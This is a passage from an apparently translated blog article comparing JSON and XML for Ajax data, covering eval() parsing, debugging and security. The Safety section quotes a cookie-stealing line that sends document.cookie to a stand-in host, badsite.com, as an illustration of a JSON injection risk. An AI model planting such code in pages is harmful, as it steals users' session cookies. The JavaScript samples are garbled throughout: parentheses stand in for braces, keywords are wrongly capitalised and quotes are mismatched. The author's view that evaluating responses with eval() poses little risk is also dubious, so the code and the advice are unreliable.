    Alert("Hi - I"m a person"); (("firstName" : "Subbu", "lastName" : "Allamaraju"));

    When data is declared via eval() , the browser will also call the alert() expression. In this case, you can both load data and execute functions. This approach should be used with great caution, because it clutters the response with function calls and creates a connection between calls and data. Some sources also discuss the potential security vulnerabilities of this approach, which are discussed in more detail below.

    Debugging and error correction

    This aspect applies to both the server side of your application and the client side. On the server, you need to make sure that the data is correctly formed and correct. It should be easy to debug errors in the response on the client side.

    With XML, it is relatively easy to verify that the data sent to the client is well-formed and correct. You can use schema for your data and apply it to validate the data. With JSON, this task becomes manual and requires checking that the resulting object has the correct attributes.

    On the client side, in both cases it is difficult to detect errors. For XML, the browser will simply not be able to convert it to responseXML. For small amounts of JSON data, you can use the FireBug extension for debugging and error correction. But with large amounts of data, it becomes somewhat difficult to correlate the error message with a specific location in the code.

    Safety

    Dave Johnson, in his post JSON and the Golden Fleece, suggests that JSON can cause security problems. The gist of the note is that if you allow function calls to be inserted along with data in JSON responses and use eval() to process the response, then you are executing arbitrary code, which in fact may already contain a security risk.

    Window.location = "http://badsite.com?" + document.cookie;

    person: ( "firstName" : "Subbu", "lastName" : "Allamaraju" )

    If the response in the example above is executed, it will cause the browser to send the user's cookies to the third party site. But in this case, there is some confusion in the definition of a security threat. You should not trust data or code obtained from an unverified source. And secondly, we will not be able to use XMLHttpRequest to communicate with domains other than the script's source domain. So, only the developers themselves, when creating an application, can initiate the sending of cookies to a third-party site. This is quite doubtful, because they could just as easily place this malicious code anywhere in the document outside of the data response sent from the server. Perhaps I'm missing something, but I don't see the point in considering JSON to be unsafe compared to XML.

    My choice



     

    For information-centric applications, I would prefer to use JSON over XML due to its simplicity and ease of data processing on the client side. XML may be indispensable on the server, but JSON is definitely easier to work with on the client.